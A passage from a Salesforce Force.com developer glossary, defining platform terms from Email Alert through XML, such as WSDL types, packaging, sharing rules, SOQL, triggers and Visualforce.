A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it.
A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report. You can toggle the **Show Details/Hide Details** button to view and hide report detail information.

**Developer Edition**

**Salesforce Developers**
The Salesforce Developers website at developer.salesforce.com provides a full range of resources for platform developers, including sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments.

**Development Environment**
A Salesforce organization where you can make configuration changes that will not affect users on the production organization. There are two kinds of development environments, sandboxes and Developer Edition organizations.

---

**Email Alert**
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval process and sent to designated recipients, either Salesforce users or others.

**Email Template**
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text, HTML, or custom format.

**Enterprise Edition**
A Salesforce edition designed for larger, more complex businesses.

**Enterprise WSDL**
A strongly-typed WSDL for customers who want to build an integration with their Salesforce organization only, or for partners who are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL is that it only works with the schema of a single Salesforce organization because it is bound to all of the unique objects and fields that exist in that organization’s data model.

**Entity Relationship Diagram (ERD)**
A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Force.com platform) and define the relationships between them. ERD diagrams for key Salesforce objects are published in the [SOAP API Developer's Guide](#).

**Enumeration Field**
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of possible values, all having the same data type.

---

**Facet**
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.

**Field**
A part of an object that holds a specific piece of information, such as a text or currency value.

**Field Dependency**
A filter that allows you to change the contents of a picklist based on the value of another field.
Field-Level Security
Settings that determine whether fields are hidden, visible, read only, or editable for users. Available in Enterprise, Unlimited, Performance, and Developer Editions only.

Force.com
The Salesforce platform for building applications in the cloud. Force.com combines a powerful user interface, operating system, and database to allow you to customize and deploy applications in the cloud for your entire enterprise.

Force.com IDE
An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse development environment.

Force.com Migration Tool
A toolkit that allows you to write an Apache Ant build script for migrating Force.com components between a local file system and a Salesforce organization.

Foreign Key
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

G

Getter Methods
Methods that enable developers to display database and other computed values in page markup.

Methods that return values. See also Setter Methods.

Global Variable
A special merge field that you can use to reference data in your organization.

A method access modifier for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code.

Governor Limits
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce users.

Gregorian Year
A calendar based on a 12-month structure used throughout much of the world.

H

Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.

In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.

HTTP Debugger
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy servers running on your local machine and allow you to inspect and author individual requests.
Glossary

ID
See Salesforce Record ID.

IdeaExchange
A forum where Salesforce customers can suggest new product concepts, promote favorite enhancements, interact with product managers and other customers, and preview what Salesforce is planning to deliver in future releases. Visit IdeaExchange at ideas.salesforce.com.

Import Wizard
A tool for importing data into your Salesforce organization, accessible from Setup.

Instance
The cluster of software and hardware represented as a single logical server that hosts an organization's data and runs their applications. The Force.com platform runs on multiple instances, but data for any single organization is always stored on a single instance.

Integrated Development Environment (IDE)
A software application that provides comprehensive facilities for software developers including a source code editor, testing and debugging tools, and integration with source code control systems.

Integration User
A Salesforce user defined solely for client apps or integrations. Also referred to as the logged-in user in a SOAP API context.

ISO Code
The International Organization for Standardization country code, which represents each country by two letters.

Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a "many-to-many" relationship between two objects. For example, you may have a custom object called "Bug" that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.

Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.

Lightning Connect
Lightning Connect enables you to access records that are stored outside Salesforce, such as data in an enterprise resource planning (ERP) system. Salesforce represents the data in external objects and accesses the external data in real time via Web service callouts to external data sources.

List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.
Glossary

List View
A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce provides some predefined views. In the Agent console, the list view is the top frame that displays a list view of records based on specific criteria. The list views you can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within the console.

Local Name
The value stored for the field in the user’s or account’s language. The local name for a field is associated with the standard name for that field.

Locale
The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale.
In Professional, Enterprise, Unlimited, Performance, and Developer Edition organizations, a user’s individual Locale setting overrides the organization’s Default Locale setting. In Personal and Group Editions, the organization-level locale field is called Locale, not Default Locale.

Long Text Area
Data type of custom field that allows entry of up to 32,000 characters on separate lines.

Lookup Relationship
A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that have been linked to it. If a lookup field references a record that has been deleted, by default Salesforce clears the lookup field. Alternatively, you can prevent records from being deleted if they’re in a lookup relationship.

Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of the developer.

Manual Sharing
Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to the record any other way.

Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are implemented through the use of junction objects.

Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout.

Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses XML to describe metadata.
Metadata-Driven Development
An app development model that allows apps to be defined as declarative “blueprints,” with no code required. Apps built on the platform—their data models, objects, forms, workflows, and more—are defined by metadata.

Metadata WSDL
A WSDL for users who want to use the Force.com Metadata API calls.

Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.

MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data in a user interface (the view), and ways of manipulating that data with business logic (the controller).

Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange, similar to a domain name. Salesforce automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component names in your Salesforce organization.

Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external services or infrastructure.

Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith’s training inquiry and another case record to store the information about Mary Johnson’s configuration issue.

Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists.

Object-Level Security
Settings that allow an administrator to hide whole objects from users so that they don’t know that type of data exists. Object-level security is specified with object permissions.

One-to-Many Relationship
A relationship in which a single object is related to many other objects. For example, an account may have one or more related contacts.

Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.
Organization-Wide Defaults
Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can set organization-wide defaults so that any user can see any record of a particular object that is enabled via their object permissions, but they need extra permissions to edit one.

Outbound Call
Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.

Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. Outbound messaging is configured in the Salesforce setup menu. Then you must configure the external endpoint. You can create a listener for the messages using the SOAP API.

Owner
Individual user to which a record (for example, a contact or case) is assigned.

PaaS
See Platform as a Service.

Package
A group of Force.com components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together.

Package Dependency
This is created when one component references another component, permission, or preference that is required for the component to be valid. Components can include but are not limited to:

- Standard or custom fields
- Standard or custom objects
- Visualforce pages
- Apex code

Permissions and preferences can include but are not limited to:

- Divisions
- Multicurrency
- Record types

Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package to make it generally available to the users in your organization.

Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release.

Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. See also Patch and Patch Development Organization.
Glossary

**Partner WSDL**
A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work across multiple Salesforce organizations. With this WSDL, the developer is responsible for marshaling data in the correct object representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular data model or Salesforce organization. Contrast this with the Enterprise WSDL, which is strongly typed.

**Patch**
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a `patchNumber` appended to every package version. See also Patch Development Organization and Package Version.

**Patch Development Organization**
The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created automatically for a developer organization when they request to create a patch. See also Patch and Package Version.

**Personal Edition**
Product designed for individual sales representatives and single users.

**Platform as a Service (PaaS)**
An environment where developers use programming tools offered by a service provider to create applications and deploy them in a cloud. The application is hosted as a service and provided to customers via the Internet. The PaaS vendor provides an API for creating and extending specialized applications. The PaaS vendor also takes responsibility for the daily maintenance, operation, and support of the deployed application and each customer's data. The service alleviates the need for programmers to install, configure, and maintain the applications on their own hardware, software, and related IT resources. Services can be delivered using the PaaS environment to any market segment.

**Platform Edition**
A Salesforce edition based on Enterprise, Unlimited, or Performance Edition that does not include any of the standard Salesforce apps, such as Sales or Service & Support.

**Primary Key**
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record. This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another.

**Production Organization**
A Salesforce organization that has live users accessing data.

**Professional Edition**
A Salesforce edition designed for businesses who need full-featured CRM functionality.

**Prototype**
The classes, methods and variables that are available to other Apex code.

**Query Locator**
A parameter returned from the `query()` or `queryMore()` API call that specifies the index of the last result record that was returned.

**Query String Parameter**
A name-value pair that's included in a URL, typically after a '?' character. For example:

```
http://na1.salesforce.com/001/e?name=value
```
Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.

Record ID
The unique identifier for each record.

Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the records that the user is allowed to see.

Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing settings. Salesforce automatically locks records that are pending approval. Users must have the “Modify All” object-level permission for the given object, or the “Modify All Data” permission, to edit locked records. The Initial Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions by default. You cannot edit this default action for initial submission and recall actions.

Record Name
A standard field on all Salesforce objects. Whenever a record name is displayed in a Force.com application, the value is represented as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does not have to be a unique value.

Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar.

Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company.

Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child and child-to-parent syntax differs in SOQL queries.

Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.

Roll-Up Summary Field
A field type that automatically provides aggregate values from child records in a master-detail relationship.

Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running user is a specific user, all dashboard viewers see data based on the security settings of that user—regardless of their own personal security settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each user sees the dashboard according to his or her own access level.

SaaS
See Software as a Service (SaaS).
**Glossary**

**S-Control**

Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.

Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.

**Salesforce Certificate and Key Pair**

Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only need to generate a Salesforce certificate and key pair if you’re working with an external website that wants verification that a request is coming from a Salesforce organization.

**Salesforce Record ID**

A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.

**Salesforce SOA (Service-Oriented Architecture)**

A powerful capability of Force.com that allows you to make calls to external Web services from within Apex.

**Sandbox**

A nearly identical copy of a Salesforce production organization for development, testing, and training. The content and size of a sandbox varies depending on the type of sandbox and the edition of the production organization associated with the sandbox.

**Semi-Join**

A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced queries, such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.

**Session ID**

An authentication token that is returned when a user successfully logs in to Salesforce. The Session ID prevents a user from having to log in again every time he or she wants to perform another action in Salesforce. Different from a record ID or Salesforce ID, which are terms for the unique ID of a Salesforce record.

**Session Timeout**

The period of time after login before a user is automatically logged out. Sessions expire automatically after a predetermined length of inactivity, which can be configured in Salesforce from Setup by clicking Security Controls. The default is 120 minutes (two hours). The inactivity timer is reset to zero if a user takes an action in the Web interface or makes an API call.

**Setter Methods**

Methods that assign values. See also Getter Methods.

**Setup**

A menu where administrators can customize and define organization settings and Force.com apps. Depending on your organization’s user interface settings, Setup may be a link in the user interface header or in the drop-down list under your name.

**Sharing**

Allowing other users to view or edit information you own. There are different ways to share data:

- **Sharing Model**—defines the default organization-wide access levels that users have to each other’s information and whether to use the hierarchies when determining access to data.
- **Role Hierarchy**—defines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
- **Sharing Rules**—allow an administrator to specify that all information created by users within a given group or role is automatically shared to the members of another group or role.
- **Manual Sharing**—allows individual users to share records with other users or groups.
• Apex-Managed Sharing—enables developers to programmatically manipulate sharing to support their application’s behavior. See Apex-Managed Sharing.

Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.

Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created by users within a given group or role.

Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce organization—without requiring users to log in with a username and password.

SOAP (Simple Object Access Protocol)
A protocol that defines a uniform way of passing XML-encoded data.

SOAP API
A SOAP-based Web services application programming interface that provides access to your Salesforce organization’s information.

sObject
The abstract or parent object for all objects that can be stored in the Force.com platform.

Software as a Service (SaaS)
A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor takes responsibility for the daily maintenance, operation, and support of the application and each customer’s data. The service alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT resources. Services can be delivered using the SaaS model to any market segment.

SOQL (Salesforce Object Query Language)
A query language that allows you to construct simple but powerful query strings and to specify the criteria that should be used to select data from the Force.com database.

SOSL (Salesforce Object Search Language)
A query language that allows you to perform text-based searches using the Force.com API.

Standard Object
A built-in object included with the Force.com platform. You can also build custom objects to store information that is unique to your app.

System Log
Part of the Developer Console, a separate window console that can be used for debugging code snippets. Enter the code you want to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also displays debugging information.

Tag
In Salesforce, a word or short phrases that users can associate with most records to describe and organize their data in a personalized way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Tags can also be accessed through the SOAP API.
Test Case Coverage
Test cases are the expected real-world scenarios in which your code will be used. Test cases are not actual unit tests, but are documents that specify what your unit tests should do. High test case coverage means that most or all of the real-world scenarios you have identified are implemented as unit tests. See also Code Coverage and Unit Test.

Test Method
An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit no data to the database, and can be executed by the `runTests()` system method either through the command line or in an Apex IDE, such as the Force.com IDE.

Test Organization
See Sandbox.

Transaction, Apex
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service method.

Trigger
A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in bulk mode—that is, they process several records at once, rather than just one record at a time.

Trigger Context Variable
Default variables that provide access to information about the trigger and the records that caused it to fire.

Unit Test
A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it works correctly. See also Test Method.

Unlimited Edition
Unlimited Edition is Salesforce’s solution for maximizing your success and extending that success across the entire enterprise through the Force.com platform.

Unmanaged Package
A package that cannot be upgraded or controlled by its developer.

URL (Uniform Resource Locator)
The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com.

User Acceptance Testing (UAT)
A process used to confirm that the functionality meets the planned requirements. UAT is one of the final stages before deployment to production.

Validation Rule
A rule that prevents a record from being saved if it does not meet the standards that are specified.
**Version**
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes and triggers; and Visualforce pages and components.

**View**
The user interface in the Model-View-Controller model, defined by Visualforce.

**View State**
Where the information necessary to maintain the state of the database between requests is saved.

**Visualforce**
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller written in Apex.

**Visualforce Controller**
See Controller, Visualforce.

**Visualforce Lifecycle**
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.

**Visualforce Page**
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style.

**Web Service**
A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are written in different languages, or are geographically remote from each other.

**WebService Method**
An Apex class method or variable that can be used by external systems, like a mash-up with a third-party application. Web service methods must be defined in a global class.

**Web Services API**
A Web services application programming interface that provides access to your Salesforce organization’s information. See also SOAP API and Bulk API.

**Workflow and Approval Actions**
Workflow and approval actions, such as email alerts, tasks, field updates, and outbound messages, can be triggered by a workflow rule or approval process.

**Wrapper Class**
A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across components. Examples of wrapper classes in Salesforce include the AJAX Toolkit, which is a JavaScript wrapper around the Salesforce SOAP API, wrapper classes such as CCritical Section in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes created as part of a client integration application that accesses Salesforce using the SOAP API.

**WSDL (Web Services Description Language) File**
An XML file that describes the format of messages you send and receive from a Web service. Your development environment’s SOAP client uses the Salesforce Enterprise WSDL or Partner WSDL to communicate with Salesforce using the SOAP API.
## Glossary

### X

**XML (Extensible Markup Language)**

A markup language that enables the sharing and transportation of structured data. All Force.com components that are retrieved or deployed through the Metadata API are represented by XML definitions.

### Y
